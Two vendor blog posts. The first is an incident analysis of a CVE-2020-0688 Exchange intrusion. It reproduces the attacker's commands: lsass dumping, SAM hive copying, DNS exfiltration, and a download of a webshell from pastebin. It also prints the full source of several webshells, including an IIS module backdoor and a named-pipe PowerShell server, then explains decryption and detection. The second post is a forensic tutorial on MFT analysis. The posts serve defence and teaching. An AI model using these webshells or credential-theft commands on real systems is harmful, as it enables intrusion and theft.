Skip navigation
All Places > Products > RSA NetWitness Platform > Blog > Author: Hermes Bojaxhi



In this blog I describe a recent intrusion that started with the exploit of CVE-2020-0688. Microsoft released a patch for this vulnerability on 11 February 2020. In order for this exploit to work, an authenticated account is needed to be able to make requests against the Exchange Control Panel (ECP). Some organizations may still have not patched for this vulnerability for various reasons, such as prolonged change request procedures. One false sense of "comfort" for delaying this patch for some organizations could be the fact that an authenticated account is needed to execute the exploit. However, harvesting a set of credentials from an organization is typically fairly easy, either via a credential harvesting email, or via a simple dictionary attack against the exchange server. Details on the technical aspects of this exploit have been widely described on various sites. So, in this blog I will briefly describe the exploit artifacts, and then jump into the actual activity that followed the exploit, including an interesting webshell that utilizes pipes for command execution. I will then describe how to decrypt the communication over this webshell. Finally, I will highlight some of the detection mechanisms that are native to the Netwitness Platform that will alert your organization to such activity.


Exchange Exploit - CVE-2020-0688


The first sign of the exploit started on 26 February 2020. The attacker leveraged the credentials of an account it had already compromised to authenticate to OWA. An attacker could acquire such accounts either by guessing passwords due to poor password policy, or by preceding the exploit with a credential harvesting attack. Once the at least one set of credentials has been acquired, the attacker can start to issue commands via the exploit against ECP. The IIS logs contain these commands, and they can be easily decoded via a two-step process: URL Decode -> Base64 Decode.


IIS log entry of exploit code


The following Cyberchef recipe helps us decode the highlighted exploit code:'A-Za-z0-9%2B/%3D',true)


The highlighted encoded data above decodes to the following where we see the attacker attempt to echo the string 'flogon' into a file named flogon2.js in one of the public facing Exchange folders:


Decoded exploit command


The attacker performed two more exploit success checks by launching an ftp command to anonymously login to IP address, followed by a ping request to a Burp Collaborator domain:


Exploit-success checks


The attacker returned on 29 February 2020 to attempt to establish persistence on the Exchange servers (multiple servers were load balanced). The exploit commands once again started with pings to Burp Collaborator domains and FTP connection attempts to IP address to ensure that the server was still exploitable. These were followed up by commands to write simple strings into files in the Exchange directories, as shown below:


Exploit success checks


The attacker also attempted to create a local user account named “public” with password “Asp-=14789’’ via the exploit, and attempted to add this account to the local administrators group. These two actions failed.


Attacker commands
cmd /c net user public Asp-=14789 /add
cmd /c net localgroup administrators public /add


The attacker issued several ping requests to subdomains under, which is a site that can be freely used to test data exfiltration over DNS. In these commands, the DNS resolution itself is what enables the sending of data to the attacker. Again, the attacker appears to have been trying to see if the exploit commands were successful, and these DNS requests would have confirmed the success of the exploit commands.


Here is what the attacker would have seen if the requests were successful:


DNSBin RSA test


Here are some of the generic domain names the attacker tried: pings
ping –n 1
ping –n 1
ping –n 1


After confirming that the DNS requests were being made, the attacker then started concatenating the output of Powershell commands to these DNS requests in order to see the result of the commands. It is worth mentioning here that at this point the attacker was still executing commands via the exploit, and while the commands did execute, the attacker did not have a way to see the results of such attempts. Hence, initially the attacker wrote some output to files as shown above (such as flogon2.txt), or in this case sending the output of the commands via DNS lookups. So, for example, the attacker tried commands such as:


Concatenating Powershell command results to DNS queries


powershell Resolve-DnsName((test-netconnection -port 443 -informationlevel quiet).toString()+'')

powershell Resolve-DnsName((test-path 'c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth').toString()+$env:computername+'')


These types of request would have confirmed that the server is allowed to connect outbound to the Internet (by being able to reach, test the existence of the specified path, and sent the hostname to the attacker. 


Exploit command output exfiled via DNS




Once the attacker confirmed that the server(s) could reach the Internet and verified the Exchange path, he/she issued a command via the exploit to download a webshell hosted at pastebin into this directory under a file named OutlookDN.aspx (I am redacting the full pastebin link to prevent the hijacking of such webshells on other potential victims by other actors, since the webshell is password protected):


Webshell Upload via Exploit
powershell (New-Object System.Net.WebClient).DownloadFile('**REDACTED**','C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\OutlookDN.aspx')


The webshell code downloaded from pastebin is shown below:


Content of OutlookDN.aspx webshell
<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Web" %>
<%@ Import Namespace="System.Web.UI" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<form id="form1" runat="server">
<asp:TextBox id="cmd" runat="server" Text="whoami" />
<asp:Button id="btn" onclick="exec" runat="server" Text="execute" />
<script runat="server">
protected void exec(object sender, EventArgs e)
Process p = new Process();
p.StartInfo.FileName = "cmd";
p.StartInfo.Arguments = "/c " + cmd.Text;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardError = true;
Response.Write("<pre>\r\n"+p.StandardOutput.ReadToEnd() +"\r\n</pre>");
protected void Page_Load(object sender, EventArgs e)
if (Request.Params["pw"]!="*******REDACTED********") Response.End();


At this point the exploit was no longer necessary since this webshell was now directly accessible and the results of the commands were displayed back to the attacker. The attacker proceeded to execute commands via this webshell and upload other webshells from this point forward. One of the other uploaded webshells is shown below:


Webshell 2
powershell [System.IO.File]::WriteAllText('c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth\a.aspx',[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjIiU+PCVTeXN0ZW0uSU8uRmlsZS5Xcml0ZUFsbEJ5dGVzKFJlcXVlc3RbInAiXSxDb252ZXJ0LkZyb21CYXNlNjRTdHJpbmcoUmVxdWVzdC5Db29raWVzWyJjIl0uVmFsdWUpKTslPgo=')))

The webshell code decoded from above is:


<%@ Page Language="C#"%><%System.IO.File.WriteAllBytes(Request["p"],Convert.FromBase64String(Request.Cookies["c"].Value));%>


At this point the attacker performed some of the most common activities that attackers perform during the early stages of the compromise. Namely, credential harvesting,  user and group lookups, some pings and directory traversals.


The credential harvesting consisted of several common techniques:


Credential harvesting related activity

Used SysInternal’s ProcDump (pr.exe) to dump the lsass.exe process memory:

cmd.exe /c pr.exe -accepteula -ma lsass.exe lsasp

Used the comsvcs.dll technique to dump the lsass.exe process memory:

cmd /c tasklist | findstr lsass.exe
cmd.exe /c rundll32.exe c:\windows\system32\comsvcs.dll, Minidump 944 c:\windows\temp\temp.dmp full

Obtained copies of the SAM and SYSTEM hives for the purpose of harvesting local account password hashes. 

These files were then placed on public facing exchange folders and downloaded directly from the Internet:

cmd /c copy c:\windows\system32\inetsrv\system
"C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\system.js"

cmd /c copy c:\windows\system32\inetsrv\sam
"C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\sam.js"


In addition to the traditional ASPX type webshells, the attacker introduced another type of webshell into the Exchange servers. Two files were uploaded under the c:\windows\temp\ folder to setup this new backdoor:




File System.Web.TransportClient.dll is webshell, whereas file tmp.ps1 is a script to register this DLL with IIS. The content of this script are shown below:


[System.Reflection.Assembly]::Load("System.EnterpriseServices, Version=, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a")            
$publish = New-Object System.EnterpriseServices.Internal.Publish
$name = (gi C:\Windows\Temp\System.Web.TransportClient.dll).FullName
$type = "System.Web.TransportClient.TransportHandlerModule, " + [System.Reflection.AssemblyName]::GetAssemblyName($name).FullName
c:\windows\system32\inetsrv\Appcmd.exe add module /name:TransportModule /type:"$type"


The decompiled code of the DLL is shown below (I am only showing part of the AES encryption key, to once again prevent the hijacking of such a webshell):


using System.Diagnostics;
using System.IO;
using System.IO.Pipes;
using System.Security.Cryptography;
using System.Text;
namespace System.Web.TransportClient
public class TransportHandlerModule : IHttpModule
public void Init(HttpApplication application)
application.BeginRequest += new EventHandler(this.Application_EndRequest);
private void Application_EndRequest(object source, EventArgs e)
HttpContext context = ((HttpApplication) source).Context;
HttpRequest request = context.Request;
HttpResponse response = context.Response;
string keyString = "kByTsFZq********nTzuZDVs********";
string cipherData1 = request.Params[keyString.Substring(0, 8)];
string cipherData2 = request.Params[keyString.Substring(16, 8)];
if (cipherData1 != null)
response.ContentType = "text/plain";
string plain;
string command = TransportHandlerModule.Decrypt(cipherData1, keyString);
plain = cipherData2 != null ? TransportHandlerModule.Client(command, TransportHandlerModule.Decrypt(cipherData2, keyString)) :;
catch (Exception ex)
plain = "error:" + ex.Message + " " + ex.StackTrace;
response.Write(TransportHandlerModule.Encrypt(plain, keyString));
private static string Encrypt(string plain, string keyString)
byte[] bytes1 = Encoding.UTF8.GetBytes(keyString);
byte[] salt = new byte[10]
(byte) 1,
(byte) 2,
(byte) 23,
(byte) 234,
(byte) 37,
(byte) 48,
(byte) 134,
(byte) 63,
(byte) 248,
(byte) 4
byte[] bytes2 = new Rfc2898DeriveBytes(keyString, salt).GetBytes(16);
RijndaelManaged rijndaelManaged1 = new RijndaelManaged();
rijndaelManaged1.Key = bytes1;
rijndaelManaged1.IV = bytes2;
rijndaelManaged1.Mode = CipherMode.CBC;
using (RijndaelManaged rijndaelManaged2 = rijndaelManaged1)
using (MemoryStream memoryStream = new MemoryStream())
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndaelManaged2.CreateEncryptor(bytes1, bytes2), CryptoStreamMode.Write))
byte[] bytes3 = Encoding.UTF8.GetBytes(plain);
memoryStream.Write(bytes2, 0, bytes2.Length);
cryptoStream.Write(bytes3, 0, bytes3.Length);
return Convert.ToBase64String(memoryStream.ToArray());
private static string Decrypt(string cipherData, string keyString)
byte[] bytes = Encoding.UTF8.GetBytes(keyString);
byte[] buffer = Convert.FromBase64String(cipherData);
byte[] rgbIV = new byte[16];
Array.Copy((Array) buffer, 0, (Array) rgbIV, 0, 16);
RijndaelManaged rijndaelManaged1 = new RijndaelManaged();
rijndaelManaged1.Key = bytes;
rijndaelManaged1.IV = rgbIV;
rijndaelManaged1.Mode = CipherMode.CBC;
using (RijndaelManaged rijndaelManaged2 = rijndaelManaged1)
using (MemoryStream memoryStream = new MemoryStream(buffer, 16, buffer.Length - 16))
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, rijndaelManaged2.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Read))
return new StreamReader((Stream) cryptoStream).ReadToEnd();
private static string run(string command)
string str = "/c " + command;
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = str;
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
return process.StandardOutput.ReadToEnd();
private static string Client(string command, string path)
string pipeName = "splsvc";
string serverName = ".";
Console.WriteLine("sending to : " + serverName + ", path = " + path);
using (NamedPipeClientStream pipeClientStream = new NamedPipeClientStream(serverName, pipeName))
StreamWriter streamWriter = new StreamWriter((Stream) pipeClientStream);
return new StreamReader((Stream) pipeClientStream).ReadToEnd();
public void Dispose()


The registered DLL shows up in the IIS Modules as TransportModule:


IIS Module Installation


This DLL webshell is capable of executing commands directly via cmd.exe, or send the command to a pipe named splsvc. In this setup, the DLL acts as the pipe client, i.e. it sends data to the named pipe. In order to setup the other side of the pipe (i.e. the server side of the pipe), the attacker executed this command:


cmd.exe /c WMIC /node:"." process call create "powershell -enc


The encoded data in the Powershell command decodes to this script, which sets up the pipe server:


$script = {
     $pipeName = 'splsvc'
     $cmd = Get-WmiObject Win32_Process -Filter "handle = $pid" | Select-Object -ExpandProperty commandline
     $list = Get-WmiObject Win32_Process | Where-Object {$_.CommandLine -eq $cmd -and $_.Handle -ne $pid}
     if ($list.length -ge 50) {
          $list | foreach-Object -process {stop-process -id $_.Handle}
     function handleCommand() {
          while ($true) {
               Write-Host "create pipe server"
               $sid = new-object System.Security.Principal.SecurityIdentifier([System.Security.Principal.WellKnownSidType]::WorldSid, $Null)
               $PipeSecurity = new-object System.IO.Pipes.PipeSecurity
               $AccessRule = New-Object System.IO.Pipes.PipeAccessRule("Everyone", "FullControl", "Allow")
               $pipe = new-object System.IO.Pipes.NamedPipeServerStream $pipeName, 'InOut', 60, 'Byte', 'None', 32768, 32768, $PipeSecurity
               #$pipe = new-object System.IO.Pipes.NamedPipeServerStream $pipeName, 'InOut', 60
               $reader = new-object System.IO.StreamReader($pipe);
               $writer = new-object System.IO.StreamWriter($pipe);

               $path = $reader.ReadLine();
               $data = ''
               while ($true) {
                    $line = $reader.ReadLine()
                    if ($line -eq '**end**') {
                    $data += $line + [Environment]::NewLine
               write-host $path
               write-host $data
               try {
                    $parts = $path.Split(':')
                    $index = [int]::Parse($parts[0])
                    if ($index + 1 -eq $parts.Length) {
                         $retval = iex $data | Out-String
                    } else {
                         $parts[0] = ($index + 1).ToString()
                         $newPath = $parts -join ':'
                         $retval = send $parts[$index + 1] $newPath $data
                         Write-Host 'send to next' + $retval
               } catch {
                    $retval = 'error:' + $env:computername + '>' + $path + '> ' + $Error[0].ToString()
               Write-Host $retval
     function send($next, $path, $data) {
          write-host 'next' + $next
          write-host $path
          $client = new-object System.IO.Pipes.NamedPipeClientStream $next, $pipeName, 'InOut', 'None', 'Anonymous'
          $writer = new-object System.IO.StreamWriter($client)
          $reader = new-object System.IO.StreamReader($client);
          $resp = $reader.ReadToEnd()
     $ErrorActionPreference = 'Stop'
Invoke-Command -ScriptBlock $script


From an EDR perspective, the interesting aspect of this type of webshell is that other than the command to setup the pipe server, which is executed via the w3wp.exe process, the rest of the commands are executed via the Powershell command that sets up the pipe server, even though the commands are coming through w3wp.exe process. In fact, once the attacker setup this type of webshell in this intrusion, he/she deleted all of the initial ASPX based webshells.


Webshell interaction


Although during this incident the pipe webshell was only used on the exchange server itself, it is possible to 


Webshell Data Decryption


In order to communicate with this webshell, the attacker issued the commands via the /ews/exchange.asmx page. Lets break down the communication with this webshell and highlight some of the characteristics that make it unique. Here is a sample command:


POST /ews/exchange.asmx HTTP/1.1
host: webmail.***************.com
content-type: application/x-www-form-urlencoded
content-length: 385
Connection: close


HTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
X-FEServer: ***************
Date: Sat, 07 Mar 2020 08:10:43 GMT
Content-Length: 1606656

627Rf6z7SNyH+zHe0dEAcBAZDH2sEfyFUe2QQjK8J7M/QBU5vDGj***** REDACTED ******


The request to /ews/exchange.asmx is done in lowercase. While there are a couple of email clients that exhibit that same behavior, they could be quickly filtered out, especially when we see that the requests to this webshell do not even contain a user agent. We also notice that several of the other HTTP headers are in lowercase. Namely,

host: vs Host:

content-type: vs Content-Type:

content-length: vs Content-Length:


The actual command follows the HTTP headers. Lets break down this command:




The beginning of the payload contains part of the AES encryption key. Namely, in the decompiled code shown above we notice that the AES key is: kByTsFZq********nTzuZDVs********


The data that follows the first 8 bytes of the key is shown below:




Lets decrypt this data step by step, and build a Cyberchef recipe to do the job for us:


Step 1 - 3: The obfuscated data needs to be URL decoded, however, the + character is a legitimate Base64 character that is misinterpreted by the URL decoder as a space. So, we first replace the + with a . (dot). The + character will not necessarily be in every chunk of Base64 encoded data, but we need to account for it in order to build an error free recipe.


Decrypting: Step 1-3


Step 4 – 5: At this point we can Base64 decode the data. However, the data that we will get from this step is binary in nature, so we will convert to ASCII hex as well, since we need to use part of it for the AES IV.


Decryption: Step 4-5


Step 6 – 7: The first 32 bytes of ASCII hex (16 bytes raw) are the AES IV, so in these two steps we use the Register function of Cyberchef to store these bytes in $R0, and then remove them with the Replace function:


Decryption: Step  6-7


Step 8: Finally we can decrypt the data using the static AES key that we got from the decompiled code, and the dynamic IV value that we extracted from the decoded data.


Decryption: Step 8


The actual recipe is shown below:'option':'Simple%20string','string':'%2B'%7D,'.',true,false,true,false)URL_Decode()Find_/_Replace(%7B'option':'Simple%20string','string':'.'%7D,'%2B',true,false,true,false)From_Base64('A-Za-z0-9%2B/%3D',true)To_Hex('None',0)Register('(.%7B32%7D)',true,false,false)Find_/_Replace(%7B'option':'Regex','string':'.%7B32%7D(.*)'%7D,'$1',true,false,true,false)AES_Decrypt(%7B'option':'Latin1','string':'kByTsFZqREDACTEDnTzuZDVsREDACTED'%7D,%7B'option':'Hex','string':'$R0'%7D,'CBC','Hex','Raw',%7B'option':'Hex','string':''%7D)


We use the same recipe to decode the second chunk of encoded data in the request (SryqIaK3fpejyDoOdyf9b%2Fi7aBqPAzBL1SUROVuScbc%3D), which ends up only decoding to the following:


Decryption: Part 2


The response does not contain any parts of the key, so we can just copy everything following the HTTP headers and decrypt with the same formula. Here is a partial view of the results of the command, which is just a file listing of the \Windows\temp folder:


Decrypt Response


NetWitness Platform - Detection


The malicious activity in this incident will be detected at multiple stages by NetWitness Endpoint from the exploit itself, to the webshell activity and subsequent commands executed via the webshells. The easiest way to detect webshell activity, regardless of its type, is to monitor any web daemon processes (such as w3wp.exe) for uncommon behavior. Uncommon behavior for such processes primarily falls into three categories:

  1. Web daemon process starting a shell process.
  2. Web daemon process creating (writing) executable files.
  3. Web daemon process launching uncommon processes (here you may have to filter out some processes based on your environment).


The NetWitness Endpoint 11.4 comes with various AppRules to detect webshell activity:


Webshell detection rules


The process tree will also reveal the commands that are executed via the webshell in more detail:


Process flow


Several other AppRules detect the additional activity, such as:

PowerShell Double Base64
Runs Powershell Using Encoded Command
Runs Powershell Using Environment Variables
Runs Powershell Downloading Content
Runs Powershell With HTTP Argument
Creates Local User Account


As part of your daily hunting you should always also look at any Fileless_Scripts, which are common when encoded powershell commands are executed:


Fileless_Script events


From the NetWitness packet perspective such network traffic is typically encrypted unless SSL interception is already in place. RSA highly recommends that such technology is deployed in your network to provide visibility into this type of traffic, which also makes up a substantial amount of traffic in every network.


Once the traffic is decrypted, there are several aspects of this traffic that are grouped in typical hunting paths related to  the HTTP protocol, such as HTTP with Base64, HTTP with no user agent, and several others shown below:


Service Analysis


The webshell commands are found in the Query meta key:


Query meta key


In order to flag the lowercase request to /ews/exchange.asmx we will need to setup a custom configuration using the SEARCH parser, normally disabled by default. We can do the same with the other lowercase headers, which are the characteristics we observed of whatever client the attacker is using to interact with this webshell. In NWP we can  quickly setup this in the search.ini file of your decoder.  Any hits for this string can then be referenced in AppRules by using this expression (found = 'Lowercase EWS'), and can be combined with other metadata.


Search.ini config




This incident demonstrates the importance of timely patching, especially when a working exploit is publicly available for a vulnerability. However, regardless of whether you are dealing with a known exploit or a 0-day, daily hunting and monitoring can always lead to early detection and reduced attacker dwell time. The NetWitness Platform will provide your team with the necessary visibility to detect and investigate such breaches.


Special thanks to Rui Ataide and Lee Kirkpatrick for their assistance with this case.

RSA Netwitness Endpoint (NWE) offers various ways to alert the analyst of potentially malicious activity. Typically, we recommend that an analyst look at the IIOCs daily, and investigate and categorize (whitelist/graylist/blacklist) any hits on IIOC Level 0 and Level 1.


When an IIOC highlights a suspicious file or event, the next investigative step is to look at the endpoint where the IIOC hit, and investigate everything related to the module and/or event. Depending on the type of IIOC, the analyst can get answers related to the file/event in any or all of the following categories of data:

  • Scan data
  • Behavioral Tracking Events
  • Network Events

NWE Data Categories


If we focus on a Windows endpoint, regardless of whether it is part of an investigation or a standalone infected system, we always complement the analysis of data that has been automatically collected by the agent, with an analysis of the endpoint's Master File Table (MFT). There are very good reasons to always analyze the MFT in these situations. Let me list the main reason here:

  • The automatically collected data (scan, behavioral, network) is always a subset of all the actual events that happen on the endpoint. Namely, the agent collects process, file, and registry related events but with some limitations. For example, while the agent records file events, it is focused on executable files rather than all file events. So, looking at the MFT around the time of the event will enable the analyst to discover and collect additional artifacts related to an incident, such as, non-executable files related to an incident. These non-executable files can be anything, from the output of some tool the attacker executed (such as a password dumper) to archive files related to data theft activity, to configuration files for a Trojan, etc.


Let us first describe some key concepts related to the MFT so that you can get the best value out of your analysis of it. 


What is the MFT?

In general, when you partition and format a drive in Windows, you will likely format it with the New Technology File System (NTFS). The MFT keeps track of all the files that exist in the NTFS volume, including the MFT file itself. The MFT is a file that is actually named $MFT in the NTFS, and the very first entry inside this file is a record about the $MFT file itself. Just so that you are aware, on average, a MFT file is around 200MB. If you open a $MFT file using a hex editor, you can see the beginning of each MFT record marked by the word "FILE":


MFT Record Example


The MFT keeps track of various information about the files on the file system, such as filename, size, timestamps, file permissions, as well as where the actual data of the file exists on the volume. The MFT does not contain the data of the file (unless the file is a few bytes small < 512 bytes), but instead it contains metadata about each file and directory on the volume. Perhaps the easiest way to understand the MFT is to think of a library that uses index cards to keep track of all the books in it. The MFT is like the box containing these index cards, where each index card tells you the title of the book and where to find a particular book in the library. The index card is not the book, it just contains information about the book.


The library analogy is also useful to describe a few other concepts regarding the MFT. In this imaginary library, the index cards are never discarded, but rather reused. So, when the library wants to remove a book from its records, it would just mark the index card related to the book as available to contain the information about some new book. Notice that in this situation the index card still contains the old information, and the book is still sitting on a shelf in the library. This situation remains true, until the information in the index card is overwritten by the information of a new book. What we are describing here is the process of a file deletion in Windows (and we are not talking about the Recycle Bin here but actual file deletions). Namely, when a file is deleted in Windows, the MFT record for that file is marked as available to be overwritten by some other new file that will be created in the future. So, deleting a file does not mean deleting its information, or the actual data of the file. Windows just does not show the user files marked as deleted in the MFT. The data may still be there though, and depending on how busy the system is, i.e. how many files are created/deleted, you have a good chance of recovering a deleted file if you get to it before it is overwritten.


When NWE parses the MFT, it shows you both regular MFT records, and those that have been marked as Deleted. The deleted records can also be grouped by themselves (more on this later). However, NWE does not do file recovery, meaning it will not get you the data of a deleted file. It will only show you the information that exists in the MFT of that deleted file. In order to recover a deleted file, you will need to use other forensic tools on the actual endpoint, or an image of the drive, to recover the data of the deleted file. NWE is able to retrieve any other file referenced in the MFT that is not marked as deleted.


MFT Timestamps

Another very important concept about the MFT is related to file timestamps. The MFT contains 8 timestamps in it for each file (a folder is also considered as a file in the MFT) on the endpoint. These 8 timestamps are contained within two attributes named $Standard_Information ($SI) and $Filename_Information ($FN). So, each of these attributes contains these time stamps:


   $SI Timestamps                                          $FN Timestamps

   - Created                                                      - Created

   - Modified                                                     - Modified

   - Accessed                                                   - Accessed

   - MFT Entry Modified                                   - MFT Entry Modified


Whenever you look at the properties of a file using explorer.exe, you see the first three $SI timestamps. Here is an example of looking at the properties of a file named kernel32.dll:


Explorer.exe showing $SI timestamps


So, you may wonder what is the MFT Entry Modified time, and what is the purpose of the other equivalent timestamps under the $FN Attribute. The MFT Entry Modified is a timestamp that keeps track of when changes are made to the MFT record itself. Think of it as when the library index card is updated, Windows keeps track of those updates through this MFT Entry Modified timestamp. Windows does not show this timestamp through explorer.exe or any other native Windows tools because this timestamp is not relevant to the typical user.


Typically, when we talk about a file, in our mind we think of it based on its name. However, the name of a file is just one property of a file. This distinction is important as we talk about the $FN timestamps. Whenever a file is created so is its filename, because in order to create a file you have to specify a name. However, Windows creates two sets of timestamps associated with a file object. You can think of the $SI timestamps as associated with the file object itself, and of the $FN timestamps as associated with the filename of the file object.


The reason why we are talking about all these timestamps is because during the analysis of a MFT, time is critical in identifying relevant events. You want to ensure that you are sorting the files based on a reliable timestamp. When it comes to the fidelity of the timestamps, the $FN timestamps are your friend. It is trivial to change the $SI timestamps (Created, Modified, Accessed). In fact, Windows has API functions that allow you to do that. So, many attackers code their droppers to manipulate the $SI timestamps of their files, so that if you are a typical user using explorer.exe to view the properties of a file, you will be tricked into believing that the file was created much further in the past then in reality (attackers typically backdate files). So, during our analysis of the MFT we sort files by their $FN Created Time or the $FN MFT Entry Modified time, since these would likely have the exact timestamp of when the file was created on disk. There are various situations when a file is renamed, moved on same volume, moved to a different volume, etc. that affect these 8 timestamps in various ways depending on the Windows operating system. We will not cover these here as it will require a blog on its own. For more details on these situation there are various write ups online. 


How To Request and Open the MFT

  • Since a Windows endpoint may have multiple NTFS volumes it means that each volume (or partition, or drive letter) will have its own MFT. So, if the endpoint has multiple drive letters C:, D:, E:, etc, each of them will have its own MFT. In NWE you can request the MFT by right-clicking the endpoint's machine icon, Forensics > Request MFT.


Steps to request MFT


  • NWE will request the Default Drive, which means it will request the MFT from the volume where Windows is installed (typically C:). However, here you can request the MFT of any drive letter from the drop down.


Request MFT by drive letter


  • You may wonder how do you know in advance how many volumes exist on the endpoint. This information is available to the analyst under the More Info tab:


More Info tab


  • Once you request the MFT, it will show up within a few seconds under the Downloaded tab. This is where you should also open the MFT. In order to open the MFT, you should right click on the MFT and select Download and Open MFT. NWE will then ask you where you want to save the MFT file itself. It is a good practice to have a folder named Analysis, under which you can create subfolders for each endpoint you are investigating. Under this subfolder you can save all the artifacts related to this endpoint, including the MFT.


How to open downloaded MFT


Sample MFT Analysis


When you open the MFT using the method described above, NWE will automatically associate the MFT with the endpoint that it came from. NWE will assume the MFT belongs to the C: volume. If this is not the case you can change the drive letter as shown below:


MFT drive letter and endpoint

As you can see on the left side you can select various folders under the root of C:, look at only files that are marked as deleted in the MFT, or look at All Files. Generally, we want to look at all files to get a global view of everything and start our analysis with whatever file brought us to this system. Sometimes, it is not necessarily a particular file but an event in time. In this case we can then start our analysis by looking at files at that particular time. 


Before we look at an example, let us also talk about what columns you should have in front of you to ensure you can be successful in your analysis. We recommend that you have at least the following columns exposed (hiding the rest if you wish) in this order from left to right. 

  • Filename
  • Size
  • Creation Time $FN (you should also sort the files by this column)
  • Creation Time $SI (this is for comparison purposes to $FN)
  • Modification Time $SI (you want the $SI modification time because the $FN timestamps are only good for creation times, not subsequent modifications to the content of the file)
  • Full Path
  • MFT Update Time $SI
  • MFT Update Time $FN (sometimes the $FN timestamp maybe backdated, so this timestamp can be used instead)


You can expose additional columns if you wish, but these should be in this order to maximize the effectiveness of your analysis. In order to select/deselect which columns you wish to see, you can right-click on the column:


Column Chooser


Let us now go over an example of why you need to MFT. We start the analysis by reviewing the IIOCs, which as we mentioned, should be something that is done daily. We notice that a suspicious file is identified under the "Autorun unsigned Winsock LSP" IIOC as shown below:


Winsock LSP IIOC

We see two files with the same name listed here uixzeue.dll, which means even though they have the same name, they have different hash values. Let us pull the MFT for this system and see what else occurred on this system that we would not see in Behavioral Tracking for reasons that will be explained below. When we open the MFT, we select All Files on the left pane, and make sure we sort by $FN Creation Time column. A system can have over 100,000 files in it, so to quickly get to the one we are interested in, we can search (CTRL-F) for the file name as shown below:


Step 1: Find file of interest

As we can see in the example above, whatever the attacker used to drop these DLLs on this endpoint, it time stomped the $SI timestamps by backdating them. If we were to sort and perform our analysis on the $SI Creation Time we would be way off of any relevant events about this malware. The $FN Creation Time shows the true time the file was created (born) on this endpoint. After identifying the file of interest we can then clear the search field to again view all files, but NWE will keep the focus on these two files. When you perform analysis on the MFT, the idea is to look at any files Created and/or Modified around the time of interest. What we notice is that a few microseconds before the DLLs showed up, two .fon files were created.


FON files

NWE will have not recorded anything related to these .FON files because they are just binary files. In fact they are the bulk of the malicious code, but its content is encrypted. The job of the DLL after it is loaded is to open the .FON file, decrypt it, and load its code in memory. The malicious code and the C2 information is all encrypted inside these .FON files. By the way, these are not FONT files in any way. They are just stored in the \fonts folder and have the .fon extension just to blend in with the other file extensions in that folder.


So, as you can see every time you are chasing a malicious file down you should always also look at the endpoint's MFT to ensure that you have discovered all related artifacts associated with the malicious event. 


Happy Hunting!

Filter Blog

By date: By tag: